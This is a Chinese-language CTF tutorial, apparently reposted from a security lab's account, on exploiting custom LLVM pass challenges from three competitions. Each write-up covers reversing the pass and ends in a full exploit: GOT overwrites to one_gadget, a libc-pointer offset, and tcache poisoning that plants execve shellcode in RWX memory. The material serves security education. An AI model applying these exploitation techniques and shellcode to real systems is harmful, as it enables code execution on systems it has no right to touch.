PWN学习之LLVM入门

admin 2023年12月4日23:40:24评论23 views字数 5154阅读17分10秒阅读模式

一、基本流程

①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位:

②通过逆向,找到函数名及参数,编写基本exp

③找到漏洞,写利用exp.c,其中的pwn的目标是opt文件,查看保护和找gadget都在opt中找

④生成.ll文件

⑤将.ll文件输入到LLVM中

二、命令

用下面的命令可以生成.ll文件准备输入到LLVM中:

clang -emit-llvm -S exp.c -o exp.ll

最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加> [文件名]来获取:

opt -load ./LLVMFirst.so -hello ./exp.ll

三、例题

1.202Redhat simpleVM

①重写函数

PWN学习之LLVM入门

{width="9.38888888888889in" height="3.2860345581802273in"}

②逆向,编写基本exp

PWN学习之LLVM入门

{width="5.240740376202974in" height="3.8201279527559056in"}

函数名为o0o0o0o0则继续执行sub_6AC0

PWN学习之LLVM入门

{width="8.166666666666666in" height="2.8091076115485563in"}

循环遍历每一个基本块

PWN学习之LLVM入门

{width="10.851852580927384in" height="3.1467410323709535in"}

这里也是一个循环遍历,其中指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令,即函数o0o0o0o0中的代码都要是函数调用。

getCalledFunction获取函数本身,然后获取函数名赋值给s1

PWN学习之LLVM入门

{width="9.222222222222221in" height="3.006159230096238in"}

getNumOperands返回一条指令中的变量个数,包括函数名和参数,pop为2,即参数数量为1

这里可以看到pop函数的参数是1,2,分别对应两个寄存器,pop操作就是弹栈操作,并且栈是从低到高生长

PWN学习之LLVM入门

{width="7.0185192475940505in" height="3.0176181102362203in"}

push的参数也是一个,1或2,模拟压栈操作

PWN学习之LLVM入门

{width="6.759258530183727in" height="3.3184383202099736in"}

store参数1个,1或2,将reg1存的地址指向的地方赋值为reg2中的值

PWN学习之LLVM入门

{width="7.037036307961505in" height="2.7582327209098865in"}

load参数1个,1或2,将reg2赋值为reg1中的地址指向的值

PWN学习之LLVM入门

{width="6.574074803149606in" height="3.1619542869641295in"}

add参数2个,第一个是1或2,第2个是加的数,使寄存器中的值加上某一个值

PWN学习之LLVM入门

{width="6.8148140857392825in" height="3.1618372703412074in"}

min参数2个,第一个是1或2,第2个是减的数,使寄存器中的值减去某一个值

得到基本exp

void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg,int num){};
void min(int reg,int num){};

void o0o0o0o0(){

};

③找到漏洞,写攻击exp

store(1),将reg1存的地址指向的地方赋值为reg2中的值,这里就有任意地址写。

load(1),将reg2赋值为reg1中的地址指向的值,可以把libc写进去。

add和min可以对reg里的值进行加减,相当于任意修改

查看一下opt的保护

PWN学习之LLVM入门

{width="3.4444444444444446in" height="0.7943132108486439in"}

没有开pie

所以,攻击思路如下

reg初始值都为0,首先将reg1通过add函数改为free函数的got表,再通过load函数将reg1中的地址指向的值赋值给reg2,再通过add或者min函数将reg2中的地址修改为one_gadget的地址,再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表

add(1,free.got)
load(1)
add(2,ogg - free)
store(1)

gdb调试

gdb opt-8
set args -load ./VMPass.so -VMPass ./exp.ll
b main
b *0x4bb7e3
b *(0x7f11c1a00000+0x73EE)
tele 0x7f11c1a00000+0x20E580
PWN学习之LLVM入门

{width="8.38888888888889in" height="0.6374890638670166in"}

调试到这里,.so已经加载好了

下断点调试即可

调试可以看到成功修改free@got为one_gadget,但是三个都打不通,libc不同

2.CISCN2021 satool

PWN学习之LLVM入门

{width="7.240741469816273in" height="2.7945319335083116in"}

PASS注册名称为SAPass

PWN学习之LLVM入门

{width="4.055555555555555in" height="2.352965879265092in"}

函数名B4ckDo0r

PWN学习之LLVM入门

{width="5.722222222222222in" height="0.760997375328084in"}

PWN学习之LLVM入门

{width="9.092591863517061in" height="0.4909842519685039in"}

PWN学习之LLVM入门

{width="6.740741469816273in" height="1.7860837707786528in"}

save函数,两个参数,char类型,申请一个0x20的堆块,把两个参数分别放入堆块中

PWN学习之LLVM入门

{width="7.5185192475940505in" height="3.3001815398075243in"}

stealkey函数,没有参数,把堆块中的第一个8字节赋值给byte_204100

PWN学习之LLVM入门

{width="8.129630358705162in" height="2.8776049868766402in"}

PWN学习之LLVM入门

{width="7.444444444444445in" height="1.7196161417322835in"}

fakekey函数,1个参数,与byte_204100相加并赋值给chunk的前8字节

PWN学习之LLVM入门

{width="12.79629593175853in" height="3.0068897637795278in"}

run函数,没有参数,将chunk的前八字节作为函数指针调动

基本exp

void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){

}

这里可以看到,save会malloc一个0x20大小的chunk,调试发现,save一次后,tcache中没有符合要求的chunk了,再save一次,就会变成small bins,这时候chunk中会有残留的libc指针,再通过stealkey把指针赋值给byte_204100,再用fakekey对指针进行偏移的加减,改为one_gadget,执行run函数,即可

完整exp

void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
save("aaaa","bbbb");
save("","b");
stealkey();
fakekey(-0x1090f2);
run();
}

3.CISCN2023 llvmHELLO

PWN学习之LLVM入门

{width="6.203702974628172in" height="1.749238845144357in"}

PASS注册名称为Hello

PWN学习之LLVM入门

{width="7.537036307961505in" height="4.355859580052494in"}

Add函数,一个参数,申请一个堆块

PWN学习之LLVM入门

{width="9.740741469816273in" height="3.4770800524934384in"}

Del函数,一个参数,free一个堆块,没有uaf

PWN学习之LLVM入门

{width="10.277777777777779in" height="4.871666666666667in"}

edit(idx,data_idx,data),edit函数,3个参数,向第idx个chunk的第data_idx个四字节写入4字节

PWN学习之LLVM入门

{width="7.1481474190726155in" height="0.9220734908136483in"}

Alloc函数,没有参数,将0x10000设置为可读可写可执行

PWN学习之LLVM入门

{width="9.462963692038494in" height="4.361955380577428in"}

EditAlloc函数,2个参数,EditAlloc(idx,idx_alloc),把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处

基本exp

void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);
void hello(){

}

在edit中,存在堆溢出,可利用edit修改tcache bin中chunk的fd,进行tcache bin attack,执行一次Alloc,申请0x10000开始的0x1000的空间,写入shellcode,由于没有开启PIE,用tcache bin attack改free的got表为0x10000,然后执行Del函数,执行shellcode拿到shell

最终exp

void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);

void hello(){
Add(0xa0);

Add(0x78); //0x8203
Edit(1,0,0xdeadbeef); // 0x8602
Add(0x78);
Edit(2,0,0xdeadbeef); // 0x8602
Add(0x78);
Edit(3,0,0xdeadbeef); // 0x8602
Del(1);
Del(3); //0x83e4
Edit(2,32,0x78b108); //

Alloc();//0x8690
Edit(0,0,0x56f63148); // 0x8602
EditAlloc(0,0);
Edit(0,0,0x622fbf48); // 0x8602
EditAlloc(0,4);
Edit(0,0,0x2f2f6e69); // 0x8602
EditAlloc(0,8);
Edit(0,0,0x54576873); // 0x8602
EditAlloc(0,12);
Edit(0,0,0x583b6a5f); // 0x8602
EditAlloc(0,16);
Edit(0,0,0x00050f99); // 0x8602
EditAlloc(0,20);

Add(0x78);
Add(0x78);
Edit(3,0,0x10000);
Edit(3,1,0);
Del(1);
}
原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

PWN学习之LLVM入门
参与靶场实战,戳"阅读原文"

原文始发于微信公众号(合天网安实验室):PWN学习之LLVM入门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月4日23:40:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN学习之LLVM入门https://cn-sec.com/archives/2267453.html

发表评论

匿名网友 填写信息